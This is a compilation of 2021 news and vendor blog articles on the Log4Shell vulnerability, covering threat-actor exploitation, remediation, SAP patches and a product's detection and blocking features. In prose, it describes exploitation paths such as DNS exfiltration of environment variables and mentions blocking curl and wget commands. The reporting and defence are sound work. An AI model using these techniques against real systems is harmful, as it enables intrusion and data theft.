Hackers Begin Exploiting Second Log4j Vulnerability as a Third Flaw Emerges

 

Description

Web infrastructure company Cloudflare on Wednesday revealed that threat actors are actively attempting to exploit a second bug disclosed in the widely used Log4j logging utility, making it imperative that customers move quickly to install the latest version as a barrage of attacks continues to pummel unpatched systems with a variety of malware.

The new vulnerability, assigned the identifier CVE-2021-45046, makes it possible for adversaries to carry out denial-of-service (DoS) attacks and follows disclosure from the Apache Software Foundation (ASF) that the original fix for the remote code execution bug — CVE-2021-44228 aka Log4Shell — was “incomplete in certain non-default configurations.” The issue has since been addressed in Log4j version 2.16.0.

“This vulnerability is actively being exploited and anyone using Log4j should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0,” Cloudflare’s Andre Bluehs and Gabriel Gabor said.

Even more troublingly, researchers at security firm Praetorian warned of a third separate security weakness in Log4j version 2.15.0 that can “allow for exfiltration of sensitive data in certain circumstances.” Additional technical details of the flaw have been withheld to prevent further exploitation, but it’s not immediately clear if this has been already addressed in version 2.16.0.

“2.16 disables JNDI lookups by default and — as a result — is the safest version of Log4j2 that we’re aware of,” Anthony Weems, principal security engineer at Praetorian, told The Hacker News. When reached for a response, the Apache Logging Services Project Management Committee (PMC) confirmed that “We have been in contact with the engineer from Praetorian to fully understand the nature and scope of the problem.”

The latest development comes as advanced persistent threat groups from China, Iran, North Korea, and Turkey, counting the likes of Hafnium and Phosphorus, have jumped into the fray to operationalize the vulnerability and discover and continue exploiting as many susceptible systems as possible for follow-on attacks. Over 1.8 million attempts to exploit the Log4j vulnerability have been recorded so far.

Microsoft Threat Intelligence Center (MSTIC) said it also observed access brokers leveraging the Log4Shell flaw to gain initial access to target networks that were then sold to other ransomware affiliates. In addition, dozens of malware families that run the gamut from cryptocurrency coin miners and remote access trojans to botnets and web shells have been identified taking advantage of this shortcoming to date.

While it’s common for threat actors to make efforts to exploit newly disclosed vulnerabilities before they’re remediated, the Log4j flaw underscores the risks arising from software supply chains when a key piece of software is used within a broad range of products across several vendors and deployed by their customers around the world.

“This cross-cutting vulnerability, which is vendor-agnostic and affects both proprietary and open-source software, will leave a wide swathe of industries exposed to remote exploitation, including electric power, water, food and beverage, manufacturing, transportation, and more,” industrial cybersecurity firm Dragos noted.

“As network defenders close off more simplistic exploit paths and advanced adversaries incorporate the vulnerability in their attacks, more sophisticated variations of Log4j exploits will emerge with a higher likelihood of directly impacting Operational Technology networks,” the company added.

Read More

Relentless Log4j Attacks Include State Actors, Possible Worm

 

Description

Call it a “logjam” of threats: Attackers including nation-state actors have already targeted half of all corporate global networks in security companies’ telemetry using at least 70 distinct malware families — and the fallout from the Log4j vulnerability is just beginning.

Researchers manning keyboards all over the world have spent the past several days chasing attacks aimed at a now-infamous Log4j Java library bug, dubbed Log4Shell (CVE-2021-44228). Side note: Log4j is pronounced, “log forge” — although that’s disputed, because it’s also referred to in conversation as “log-four-jay.” Dealer’s choice there.

First discovered among Minecraft players last week, the newly discovered vulnerability has opened a massive opportunity for threat actors to hijack servers, mostly with coin miners and botnets, but also a cornucopia of other malware such as the StealthLoader trojan — and that’s just so far.

“We’ve seen a lot of chatter on Dark Web forums, including sharing scanners, bypasses and exploits,” Erick Galinkin, an artificial intelligence researcher at Rapid7, told Threatpost. “At this point, more than 70 distinct malware families have been identified by us and other security researchers.”

For instance, Bitdefender researchers this week discovered that threat actors are attempting to exploit Log4Shell to deliver a new ransomware called Khonsari to Windows machines.

Check Point research reported Wednesday that since last Friday, its team has detected 1.8 million Log4j exploit attempts on almost half of all corporate networks that they track.

These threat actors aren’t low-skilled hobbyists. Check Point added that as of Wednesday, Iranian hacking group Charming Kitten, also known as APT 35 and widely believed to be working as a nation-state actor, is actively targeting seven specific Israeli organizations across the government and business sectors.

“Our reports of the last 48 hours prove that both criminal-hacking groups and nation state actors are engaged in the exploration of this vulnerability, and we should all assume more such actors’ operations are to be revealed in the coming days,” Check Point added.

Microsoft meanwhile reported that nation-state groups Phosphorus (Iran) and Hafnium (China), as well as unnamed APTs from North Korea and Turkey are actively exploiting Log4Shell (CVE-2021-44228) in targeted attacks. Hafnium is known for targeting Exchange servers with the ProxyLogon zero-days back in March, while Phosphorus made headlines for targeting global summits and conferences in 2020.

“This activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment and exploitation against targets to achieve the actor’s objectives,” the company said in a posting.

Is a Log4j Worm Next?

Researcher Greg Linares meanwhile has reported seeing evidence that a self-propagating worm is being developed and will likely emerge in a day or less.

#Log4J based on what I’ve seen, there is evidence that a worm will be developed for this in the next 24 to 48 hours.

Self propagating with the ability to stand up a self hosted server on compromised endpoints.

In addition to spraying traffic, dropping files, it will have c2c

— Greg Linares (@Laughing_Mantis) December 12, 2021

There is wide agreement within the cybersecurity community that he’s correct, but many experts don’t think the fallout will be as bad with Log4j as it was with past incidents like WannaCry or NotPetya.

“While it’s possible that we could see a worm developed to spread among susceptible Log4j devices, there hasn’t been any evidence to suggest this is a priority for threat actors at this time,” Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows, told Threatpost. “Developing malware of this nature takes a significant amount of time and effort.”

“This activity differs from the WannaCry incident, which saw a perfect storm of a highly exploitable vulnerability coinciding with an NSA-level exploit breach in EternalBlue,” Morgan added.

“It’s still very much early days with regards to Log4j,” Morgan said. “While many threat actors will likely be at different stages of the kill chain, most actors will likely still be scanning for susceptible systems, attempting to establish a foothold, and identifying further opportunities, depending on their motivations. Efforts among actors at this stage are rushing to exploit before companies have a chance to patch, rather than spending time developing a worm.”

The emergence of a Log4j worm isn’t the worst-case scenario, researchers like Yaniv Balmas from Salt Security explained to Threatpost.

“While not neglecting the impact of such a worm, that might not be the worst scenario because of the unbelievable easiness that this attack can be applied,” Balmas said. “Everyone with a basic computer and internet access could launch an attack against millions of online services within minutes. This achieves quite a similar impact as a worm – it is distributed and unpredictable, and the damage extent might even be higher than a worm since a worm works ‘blindly’ in an automated manner.”

He added, “in this other scenario, there are actual humans behind the attacks which may target specific entities or institutions and enable attackers to fine-tune their attacks as they progress.”

The tireless work being done by security teams to patch up Log4j against exploits is a big help against the development of any worms on the horizon, John Bambenek, principal threat hunter at Netenrich, told Threatpost.

“This vulnerability certainly looks wormable, however, the good news is we’ve already had almost a week to start dealing with detection, mitigation and patching,”Bambenek said. “There will be lots of vulnerable machines out there, but by now a good deal of the vulnerable machines have been handled and many more are protected with web application firewall (WAF) rules (for instance, Cloudflare deployed protection over the weekend). The worst case would have been a worm last week, we’re in a better place now.”

Log4j’s Long Tail

Beyond emergency patching measures, Galinkin explained to Threatpost that his concern is with lingering unpatched devices and systems that will be vulnerable long after Log4j has fallen out of the headlines, particularly in sectors like academia and healthcare.

“One crucial thing to note about this vulnerability is that it’s going to have an extremely long tail,” he said. “Hospitals tend to purchase software once, but sometimes the vendors become defunct — leading to unsupported software that will never receive a patch.”

He added, “in academia, loads of software is written once by grad students or professors, but those individuals may not be aware of the bug, or they simply no longer maintain the software — software that is in use in physics, pharmacology and bioinformatics. This suggests that we will continue to see exploitation of this vulnerability — potentially in isolated incidents — long into the future.”

121621 16:21 UPDATE: Corrected spelling of John Bambenek’s name.

Read More

The Everyperson’s Guide to Log4Shell (CVE-2021-44228)

 

Description

If you work in security, the chances are that you have spent the last several days urgently responding to the Log4Shell vulnerability (CVE-2021-44228), investigating where you have instances of Log4j in your environment, and questioning your vendors about their response. You have likely already read up on the implications and steps that need to be taken. This blog is for everyone else who wants to understand what’s going on and why the internet seems to be on fire again. And for you security professionals, we’ve also included some questions on the broader implications and long term view. You know, for all that spare time you have right now.

What is Log4Shell?

Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities. For a more in-depth technical assessment of Log4Shell check out Rapid7’s AttackerKB analysis.

What is Log4j?

Log4j is one of the most common tools for sending text to be stored in log files and/or databases. It is used in millions of applications and websites in every organization all across the internet. For example, information is sent to keep track of website visitors, note when warnings or errors occur in processing, and help support teams’ triage problems.

Get answers to your Log4Shell questions from our experts

Sign up for our webinar on Thursday, December 16

So what’s the problem?

It turns out that Log4j doesn’t just log plain strings. Text strings that are formatted a certain way will be executed just like a line from a computer program. The problem is that this allows malicious actors to manipulate computers all over the internet into taking actions without the computer owners’ wishes or permission. Cyberattacks can use this to steal information, force actions, or extort the computer owners or operators.

This vulnerability is what we’re referring to as Log4Shell, or CVE-2021-44228. Log4j is the vulnerable technology. As this is a highly evolving situation, you can always head over to our main live blog on Log4Shell.

Is it really that big of a deal?

In a word, yes.

Caitlin Kiska, an information security engineer at Cardinal Health, put it this way: “Imagine there is a specific kind of bolt used in most of the cars and car parts in the world, and they just said that bolt needs to be replaced.” Glenn Thorpe, Rapid7’s Emergent Threat Response Manager added, “… and the presence of that bolt allows anyone to just take over the car.”

The first issue is Log4j’s widespread use. This little tool is used in countless systems across the internet, which makes remediation or mitigation of this into a huge task — and makes it more likely something might get missed.

The second issue is that attackers can use it in a variety of ways, so the sky is sort of the limit for them.

Perhaps the biggest concern of all is that it’s actually pretty easy to use the vulnerability for malicious purposes. Remote code execution vulnerabilities are always concerning, but you hope that they will be complicated to exploit and require specialist technical skill, limiting who can take advantage of them and slowing down the pace of attacks so that defenders can ideally take remediation action first. That’s not the case with Log4Shell. The Log4j tool is designed to send whatever data is inputted in the right format, so as long as attackers know how to form their commands into that format (which is not a secret), they can take advantage of this bug, and they currently are doing just that.

That sounds pretty bad. Is the situation hopeless?

Definitely not. The good news is that the Apache Foundation has updated Log4j to address the vulnerability. All organizations urgently need to check for the presence of this vulnerability in their environment and update affected systems to the latest patched version.

The first update — version 2.15.0 — was released on December 6, 2021. As exploitation ramped up in the wild, it became clear that the update did not fully remediate the issue in all use cases, a vulnerability that the National Vulnerability Database (NVD) codified as CVE-2021-45046.

As a result, on December 13, the Apache Foundation released version 2.16.0, which completely removes support for message lookup patterns, thus slamming the door on JNDI functionality completely and possibly adding to development team backlogs to update material sections on their codebase that handle logging.

That sounds straightforward, right?

Unfortunately, it’s likely going to be a pretty huge undertaking and likely require different phases of discovery and remediation/mitigation.

Remediation

The first course of action is to identify all vulnerable applications, which can be a mix of vendor-supplied solutions and in-house developed applications. NCSC NL is maintaining a list of impacted software, but organizations are encouraged to monitor vendor advisories and releases directly for the most up-to-date information.

For in-house developed applications, organizations — at a minimum — need to update their Log4j libraries to the latest version (which, as of 2021-12-14, is 2.16) and apply the mitigations described in Rapid7’s initial blog post on CVE-2021-44228, which includes adding a parameter to all Java startup scripts and strongly encourages updating Java virtual machine installations to the latest, safest versions. An additional resource, published by the Apache Security Team, provides a curated list of all affected Apache projects, which can be helpful to expedite identification and discovery.

If teams are performing “remote” checks (i.e., exploiting the vulnerability remotely as an attacker would) versus local filesystems “authenticated” checks, the remote checks should be both by IP address and by fully qualified domain name/virtual host name, as there may be different routing rules in play that scanning by IP address alone will not catch.

These mitigations must happen everywhere there is a vulnerable instance of Log4j. Do not assume that the issue applies only to internet-facing systems or live-running systems. There may be batch jobs that run hourly, daily, weekly, monthly, etc., on stored data that may contain exploit strings that could trigger execution.

Forensics

Attacks have been active since at least December 1, 2021, and there is evidence this weakness has been known about since at least March of 2021. Therefore, it is quite prudent to adopt an “assume breach” mindset. NCSC NL has a great resource page on ways you can detect exploitation attempts from application log files. Please be aware that this is not just a web-based attack. Initial, quite public, exploit showcases included changing the name of iOS devices and Tesla cars. Both those companies regularly pull metadata from their respective devices, and it seems those strings were passed to Log4j handlers somewhere in the processing chain. You should review logs from all internet-facing systems, as well as anywhere Log4j processing occurs.

Exploitation attempts will generally rely on pulling external resources in (as is the case with any attack after gaining initial access), so behavioral detections may have already caught or stopped some attacks. The Log4j weakness allows for rather clever data exfiltration paths, especially DNS. Attackers are pulling values from environment variables and files with known filesystems paths and creating dynamic domain names from them. That means organizations should review DNS query logs going as far back as possible. Note: This could take quite a bit of time and effort, but it must be done to ensure you’re not already a victim.

Proactive response

Out of an abundance of caution, organizations should also consider re-numbering critical IP segments (where Log4j lived), changing host names on critical systems (where Log4j lived), and resetting credentials — especially those associated with Amazon AWS and other cloud providers — in the event they have already been exfiltrated.

Who should be paying attention to this?

Pretty much every organization, regardless of size, sector, or geography. If you have any kind of web presence or internet connectivity, you need to pay attention and check your status. If you outsource all the technical aspects of your business, ask your vendors what they are doing about this issue.

Who is exploiting it and how?

Kind of… everyone.

“Benign” researchers (some independent, some part of cybersecurity firms) are using the exploit to gain an initial understanding of the base internet-facing attack surface.

Cyberattackers are also very active and are racing to take advantage of this vulnerability before organizations can get their patches in place. Botnets, such as Mirai, have been adapted to use the exploit code to both exfiltrate sensitive data and gain initial access to systems (some deep within organizations).

Ransomware groups have already sprung into action and weaponized the Log4j weakness to compromise organizations. Rapid7’s Project Heisenberg is collecting and publishing samples of all the unique attempts seen since December 11, 2021.

How are things likely to develop?

These initial campaigns are only the beginning. Sophisticated attacks from more serious and capable groups will appear over the coming days, weeks, and months, and they’ll likely focus on more enterprise-grade software that is known to be vulnerable.

Most of the initial attack attempts are via website-focused injection points (input fields, search boxes, headers, etc.). There will be more advanced campaigns that hit API endpoints (even “hidden” APIs that are part of company mobile apps) and try to find sneaky ways to get exploit strings past gate guards (like the iOS device renaming example).

Even organizations that have remediated deployed applications might miss some virtual machine or container images that get spun up regularly or infrequently. The Log4Shell attacks are easily automatable, and we’ll be seeing them as regularly as we see WannaCry and Conficker (yes, we still see quite a few exploits on the regular for those vulnerabilities).

Do we need to worry about similar vulnerabilities in other systems?

In the immediate term, security teams should narrow their attention to identify systems with the affected Log4j packages.

For the longer term, while it is impossible to forecast identification of similar vulnerabilities, we do know the ease and prevalence of CVE-2021-44228 demands the continued attention (been a long weekend for many) of security, infrastructure, and application teams.

Along with Log4Shell, we also have CVE-2021-4104 — reported on December 9, 2021 — a flaw in the Java logging library Apache Log4j in version 1.x. JMSAppender that is vulnerable to deserialization of untrusted data. This allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker. Note this flaw only affects applications that are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.

Exploit vectors of Log4Shell and mitigations reported on Friday continue to evolve as reported by our partners at Snyk.io and Java Champion, Brian Vermeer — see “Editor’s note (Dec. 13, 2021)” — therefore, continued vigilance on this near and present threat is time well spent. Postmortem exercises (and there will be many) should absolutely include efforts to evolve software, open-source, and package dependency inventories and, given current impacts, better model threats from packages with similar uninspected lookup behavior.

Does this issue indicate that we should stop compiling systems and go back to building from scratch?

There definitely has been chatter regarding the reliance upon so many third-party dependencies in all areas of software development. We’ve seen many attempts at poisoning numerous ecosystems this year, everything from Python to JavaScript, and now we have a critical vulnerability in a near-ubiquitous component.

On one hand, there is merit in relying solely on code you develop in-house, built on the core features in your programming language of choice. You can make an argument that this would make attackers’ lives harder and reduce the bang they get for their buck.

However, it seems a bit daft to fully forego the volumes of pre-built, feature-rich, and highly useful components. And let’s not forget that not all software is created equally. The ideal is that community built and shared software will benefit from many more hands to the pump, more critical eyes, and a longer period to mature.

The lesson from the Log4Shell weakness seems pretty clear: Use, but verify, and support! Libraries such as Log4j benefit from wide community adoption, since they gain great features that can be harnessed quickly and effectively. However, you cannot just assume that all is and will be well in any given ecosystem, and you absolutely need to be part of the community vetting change and feature requests. If more eyes were on the initial request to add this fairly crazy feature (dynamic message execution) and more security-savvy folks were in the approval stream, you would very likely not be reading this post right now (and it’d be one of the most boring Marvel “What If…?” episodes ever).

Organizations should pull up a seat to the table, offer code creation and review support, and consider funding projects that become foundational or ubiquitous components in your application development environment.

How would a Software Bill of Materials (SBOM) have impacted this issue?

A Bill of Materials is an inventory, by definition, and conceptually should contribute to speeding the discovery timeline during emergent vulnerability response exercises, such as the Log4j incident we are communally involved in now.

An SBOM is intended to be a formal record that contains the details and supply chain relationships of various components used in software, kind of like an ingredients list for technology. In this case, those components would include java libraries used for logging (e.g. Log4j2).

SBOM requirements were included in the US Executive Order issued in May 2021. While there may be international variations, the concept and intended objects are uniform. For that reason, I will reference US progress for simplicity.

From: The Minimum Elements For a Software Bill of Materials (SBOM), issued Department of Commerce, in coordination with the National Telecommunications and Information Administration (NTIA), Jul 12, 2021

The question many Log4Shell responders — including CISOs, developers, engineers, sys admins, clients, and customers — are still grappling with is simply where affected versions of Log4j are in use within their technical ecosystems. Maintaining accurate inventories of assets has become increasingly challenging as our technical environments have become more complicated, interconnected, and wide-reaching. Our ever-growing reliance on internet-connected technologies, and the rise of shadow IT only make this problem worse.

Vulnerabilities in tools like Log4j, which is used broadly in a vast array of technologies and systems, highlight the need for more transparency and automation for asset and inventory management. Perhaps the longer-term substantive impact from Log4Shell will be to refocus investments and appreciation for the cruciality of an accurate inventory of software and associated components through an SBOM that can easily be queried and linked to dependencies.

The bottom line is that if we had lived in a timeline where SBOMs were required and in place for all software projects, identifying impacted products, devices, and ecosystems would have been much easier than it has been for Log4Shell and remediation would likely be faster and more effective.

How does Log4Shell impact my regulatory status — do I need to take special action to ensure compliance?

According to Rapid7’s resident policy and compliance expert, Harley Geiger, “Regulators may not have seen Log4Shell coming, but now that the vulnerability has been discovered, there will be an expectation that regulated companies address it. As organizations’ security programs address this widespread and serious vulnerability, those actions should be aligned with compliance requirements and reporting. For many regulated companies, the discovery of Log4Shell triggers a need to re-assess the company’s risks, the effectiveness of their safeguards to protect sensitive systems and information (including patching to the latest version), and the readiness of their incident response processes to address potential log4j exploitation. Many regulations also require these obligations to be passed on to service providers. If a Log4j exploitation results in a significant business disruption or breach of personal information, regulations may require the company to issue an incident report or breach notification.”

We also asked Harley whether we’re likely to see a public policy response. Here’s what he said…

“On a federal policy level, organizations should expect a renewed push for adoption of SBOM to help identify the presence of Log4j (and other vulnerabilities) in products and environments going forward. CISA has also required federal agencies to expedite mitigation of Log4j and has ramped up information sharing related to the vulnerability. This may add wind to the sails of cyber incident reporting legislation that is circulating in Congress at present.”

How do we know about all of this?

Well, a bunch of kids started wreaking havoc with Minecraft servers, and things just went downhill from there. While there is some truth to that, the reality is that an issue was filed on the Log4j project in late November 2021. Proof-of-concept code was released in early December, and active attacks started shortly thereafter. Some cybersecurity vendors have evidence of preliminary attacks starting on December 1, 2021.

Anyone monitoring the issue discussions (something both developers, defenders, and attackers do on the regular) would have noticed the gaping hole this “feature” created.

How long has it been around?

There is evidence of a request for this functionality to be added dating back to 2013. A talk at Black Hat USA 2016 mentioned several JNDI injection remote code execution vectors in general but did not point to Log4j directly.

Some proof-of-concept code targeting the JNDI lookup weakness in Log4j 2.x was also discovered back in March of 2021.

Fear, Uncertainty, and Doubt (FUD) is in copious supply today and likely to persist into the coming weeks and months. While adopting an “assumed breach” mindset isn’t relevant for every celebrity vulnerability, the prevalence and transitive dependency of the Log4j library along with the sophisticated obfuscation exploit techniques we are witnessing in real time point out that the question we should be considering isn’t, “How long has it been around?” Rather, it is, “How long should we be mentally preparing ourselves (and setting expectations) to clean it up?”

We are adding more questions as they come our way. If you have questions you’d like answered, please let us know.

[UPDATE: December 17, 2021, 6 PM ET]

I’ve heard that the update doesn’t work and you can still be exploited even if you have updated? Should I panic?

If you’ve updated to either v2.15 (the original fix) or v2.16 (the latest fix), you don’t need to panic. It’s true that the v2.15 update “was incomplete in certain non-default configurations,” and that was designated as a separate vulnerability: CVE-2021-45046. But the key words here are** “in certain non-default configurations.”**

Essentially, when a logging configuration uses a non-default Pattern Layout with a Context Lookup, attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern. This can result in DoS attacks, and we’ve now discovered it can also result in information leaks, and in some specific cases, RCE. This has resulted in the vulnerability being upgraded from a CVSS score of 3.7 to 9.0 on the Apache Foundation website – but the RCE is currently only being reported for macOS, and no in-the-wild-exploitation has been publicly reported, so it still isn’t time to panic. The bottom line is that you do need to update to v2.17 as soon as you can, but unless you have those non-default configurations, v2.15 probably has you covered.

I’ve heard that there’s now evidence of ransomware attacks against this vulnerability. Should I panic?

It is true that reports have started to appear of the ransomware group, Conti, leveraging CVE-2021-44228 (Log4Shell) to mount attacks. According to a report from AdvIntel, Conti is testing exploitation by targeting vulnerable Log4j2 instances in VMware vCenter “for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions.” While it’s not time to panic about this, we do expect to see much more widespread ransom-based exploitation to follow in coming weeks, and this is another reason to ensure you are on the latest version (v2.17) as soon as possible.

Is it OK to scan for vulnerable applications or systems?

If you own or lease systems and have appropriate authorization, it is absolutely fine to scan to identify vulnerable applications or systems – in fact, we strongly recommend you do so in your own environments so you can get patching.

Beyond that, while laws vary by country, most anti-hacking laws revolve around not exceeding authorized access or accessing systems without authorization, so scanning someone else’s assets without permission may fall foul of the law.

For example, as our resident US public policy expert, Harley Geiger, explains in this tweet, under the US anti-hacking law, the Computer Fraud and Abuse Act (CFAA), “If the test involves unauthorized exfiltration of nonpublic data from a target system or causes a target system to download your executable code w/o authorization, even if done in good faith, stop & make friends w a lawyer.”

Get more critical insights about defending against Log4Shell

Check out our resource center

Read More

SAP Kicks Log4Shell Vulnerability Out of 20 Apps

 

Description

SAP has identified 32 apps that are affected by CVE-2021-44228 – the critical vulnerability in the Apache Log4j Java-based logging library that’s been under active attack since last week.

As of yesterday, Patch Tuesday, the German software maker reported that it’s already patched 20 of those apps, and it’s still feverishly working on fixes for 12. SAP provided workarounds for some of the pending patches in this document, accessible to users on the company’s support portal.

The news about Log4Shell has been nonstop, with the easily exploited, ubiquitous vulnerability spinning off even more dangerous variations, being associated with yet another vulnerability in Apache’s fast-baked patch and threat actors jumping it on a global scale.

Between Sunday and Wednesday morning ET, SAP had released 50 SAP Notes and Knowledge Base entries focusing on Log4j.

Beyond ‘Logapalooza’: Other SAP Patch Tuesday Fixes

But hard though it may be to believe, there are other SAP security matters to attend to besidea Logapalooza, including fixes for other severe flaws in the company’s products. On Tuesday, SAP released ​​21 new and updated security patches, including four HotNews Notes and six High Priority Notes.

“HotNews” is the highest-severity rating that SAP doles out. Three of December’s HotNews-rated bugs carried a CVSS rating of 9.9 (out of 10) and the fourth hit the top mark of 10.

Thomas Fritsch, an SAP security researcher at enterprise security firm Onapsis, said in his SAP Patch Tuesday writeup that the number of HotNews Notes may seem high, but one of them – #3089831, tagged with a CVSS score of 9.9 – was initially released on SAP’s September 2021 Patch Tuesday. Covering an SQL-injection vulnerability in SAP NZDT Mapping Table Framework, the note was updated in the December Patch Tuesday batch with what Fritsch said was information about possible symptoms. “SAP explicitly says that the update does not require any customer action,” he noted.

Another of the HotNews Notes – #2622660 – is rated a top criticality of 10, but it’s the continuously recurring HotNews Note that provides an SAP Business Client Patch with the latest tested Chromium fixes.

“SAP Business Client customers already know that updates of this note always contain important fixes that must be addressed,” Fritsch said. “The note references 62 Chromium fixes with a maximum CVSS score of 9.6 — 26 of them rated with High Priority. The last number only reflects vulnerabilities that were reported externally, as Google doesn’t provide such information about internally detected issues.”

Taking these out, what’s left of the most critical non-Log4Shell patches are a duo for SAP Commerce that were both released with a CVSS criticality of 9.9, and which are detailed below.

SAP HotNews Note Security Note #3109577

This note is for a code-execution vulnerability in SAP Commerce, localization for China, that covers 11 related CVEs. SAP has tagged it with a CVSS score of 9.9. The note patches multiple code-execution vulnerabilities in the product. Fritsch noted that the localization for China package uses the open-source library XStream: a simple library that serializes objects to XML and back again.

SAP’s note provides a patch for version 2001 of the localization for China package, meaning that SAP Commerce customers using a lower version need to upgrade before applying the patch, Fritsch said. He pulled out two things worth mentioning when comparing the note’s CVEs with the patches listed on https://x-stream.github.io/security.html:

• The provided SAP patch contains version 1.4.15 of the XStream library
• Version 1.4.15 specifically patches Code Execution vulnerabilities, but following the Xstream patch history, it also fixes two Denial-of-Service vulnerabilities and a Server-Site Forgery Request vulnerability

“As a workaround, affected customers can also directly replace the affected XStream library file with its latest version,” Fritsch advised.

SAP HotNews Note Security Note #3119365

This one, which is also tagged with a CVSS score of 9.9, patches a code injection issue in a text extraction report of the Translation Tools of SAP ABAP Server & ABAP Platform.

Found in Versions 701, 740, 750, 751, 752, 753, 754, 755, 756 and 804, the vulnerability allows an attacker with low privileges to execute arbitrary commands in the background, Fritsch explained. The fact that such an attacker would need at least a few privileges to exploit the vulnerability bumped its CVSS score down from 10, he said.

“The provided patch just deactivates the affected coding,” Fritsch continued. “The report is only used by SAP internally, was not intended for release, and does not impact existing functionality.”

Those who can access the note and who are interested in which report is affected can get that information in the “Correction Instructions” section by activating the tab “TADIR Entries,” Fritsch said.

Notable SAP High Priority Notes

SAP Security Notes #3114134 and #3113593

SAP Commerce is also affected by these two notable High Priority notes.

Tagged with a CVSS score of 8.8, the first high-priority note addresses SAP Commerce installations configured to use an Oracle database, according to Fritsch. “The escaping of values passed to a parameterized “in” clause, in flexible search queries with more than 1000 values, is processed incorrectly,” he explained. “This allows an attacker to execute crafted database queries through the injection of malicious SQL commands, thus exposing the backend database.”

SAP Commerce customers using the B2C Accelerator are also affected by SAP Security Note #3113593, tagged with a CVSS score of 7.5. The flaw can allow an attacker with direct write access to product-related metadata in B2C Accelerator to exploit a vulnerability in the jsoup library responsible for metadata sanitization before it’s processed, Fritsch said, allowing the attacker to inflict long response delays and service interruptions that result in denial of service (DoS).

SAP Knowledge Warehouse High Priority Note #3102769

Another high-priority note, in SAP Knowledge Warehouse (SAP KW), is #3102769, tagged with a CVSS score of 8.8. The note patches a cross-site scripting (XSS) vulnerability that can result in sensitive data being disclosed.

“The vulnerability affects the displaying component of SAP KW and SAP explicitly points out that the pure existence of that component in the customer’s landscape is all that is needed to be vulnerable,” Fritsch cautioned.

Customers who don’t actively use the displaying component of SAP KW may still experience a security breach, he noted.

The note details two possible workarounds:

• Disabling the affected display component by adding a filter with a specific custom rule
• Adding a rewrite rule to SAP Web Dispatcher to prevent redirects (this is only applicable if requests are routed via SAP Web Dispatcher)

SAP NetWeaver AS ABAP High Priority Note #3123196

With a CVSS score of 8.4, SAP Security Note #3123196 describes a code injection vulnerability in two methods of a utility class in SAP NetWeaver AS ABAP.

“A highly privileged user with permissions to use transaction SE24 or SE80 and execute development objects is able to call these methods and provide malicious parameter values that can lead to the execution of arbitrary commands on the operating system,” Fritsch elucidated.

SAP fixed the problem by integrating the affected methods directly into the class without the possibility of passing parameters to those methods. Fritsch said that the affected classes and methods are available in the “Correction Instructions” section by selecting the tab “TADIR Entries.”

SAF-T Framework SAP High Priority Security Note #3124094

This one, which patches a directory-traversal vulnerability in the SAF-T framework, is tagged with a CVSS score of 7.7. It addresses an issue with the SAF-T framework, which is used to convert SAP tax data into the Standard Audit File Tax format (SAF-T) – an OECD international standard for the electronic exchange of data that enables tax authorities of all countries to accept data for tax purposes – and back.

The note describes how an insufficient validation of path information in the framework allows an attacker to read the complete file-system structure, Fritsch explained.

Open-Source Libraries as the Weakest Link

Fritsch pointed to the Log4j vulnerability and the vulnerabilities described in SAP Security Notes #3109577 and #3113593 as demonstrating “that there is always a risk involved when using open-source libraries.”

Besides the Log4Shell elephant in the room, recent examples that prove his point about the risks entailed by relying on the security of outside code include, for example, the recent discovery of three malicious packages hosted in the Python Package Index (PyPI) code repository that collectively have more than 12,000 downloads: downloads that potentially translate into loads of poisoned applications.

Another of many examples of how the software supply chain has become an increasingly popular method of distributing malware cropped up last week, when a series of malicious packages in the Node.js package manager (npm) code repository that looked to harvest Discord tokens was found.

External libraries are convenient, but are they worth the risk? You have to do the math to figure that out, Fritsch summed up: “The ability to implement new features in a short period of time is bought at the price of dependence on the security of the external libraries. Remember, a software product is only as secure as its weakest software component.”

Read More

How to Protect Your Applications Against Log4Shell With tCell

 

Description

By now, we’re sure you’re familiar with all things Log4Shell – but we want to make sure we share how to protect your applications. Applications are a critical part of any organization’s attack surface, and we’re seeing thousands of Log4Shell attack attempts in our customers’ environments every hour. Let’s walk through the various ways tCell can help our customers protect against Log4Shell attacks.

1. Monitor for any Log4Shell attack attempts

tCell is a web application and API protection solution that has traditional web application firewall monitoring capabilities such as monitoring attacks. Over the weekend, we launched a new App Firewall detection for all tCell customers. This means tCell customers can leverage our App Firewall functionality to determine if any Log4Shell attack attempts have taken place. From there, customers can also drill in to more information on the events that took place. We’ve created a video to walk you through how to detect Log4Shell attack attempts using the App Firewall feature in tCell.

As a reminder, customers will need to make sure they have deployed the JVM agent on their apps to begin monitoring their applications’ activity. Make sure to check out our Quick Start Guide if you need help setting up tCell.

2. Block against Log4Shell attacks

Monitoring is great, but what you may be looking for is something that protects your application by blocking Log4Shell attack attempts. In order to do this, we’ve added a default pattern (tc-cmdi-4) for customers to block against. Below is a video on how to set up this custom block rule, or reach out to the tCell team if you need any assistance rolling this out at large.

As research continues and new patterns are identified, we will provide updates totc-cdmi-4to improve coverage. Customers have already noted how the new default pattern is providing more protection coverage than yesterday.

3. Identify vulnerable packages_ _(such as CVE 2021-44228)

We’ve heard from customers that they’re unsure of whether or not their applications are leveraging the vulnerable package. With tCell, we will alert you if any vulnerable packages (such as CVE 2021-44228 and CVE 2021-45046) are loaded by the application at runtime. The best way to eliminate the risk exposure for Log4Shell is to upgrade any vulnerable packages to 2.17. Check out the video below for more information.

If you would like to provide additional checks outside of the vulnerable packages check at runtime, please refer to our blog on how InsightVM can help you do this.

4. Enable OS commands

One of the benefits of using tCell’s app server agents is the fact that you can enable blocking for OS commands. This will prevent a wide range of exploits leveraging things like curl, wget, etc. Below you’ll find a picture of how to enable OS commands (either report only or block and report).

5. Detect and block suspicious actors

All events that are detected by the App Firewall in tCell are fed into the analytics engine to determine Suspicious Actors. The Suspicious Actors feature takes in multiple inputs (such as failed logins, injections, unusual inputs, etc.) and correlates these to an IP address.

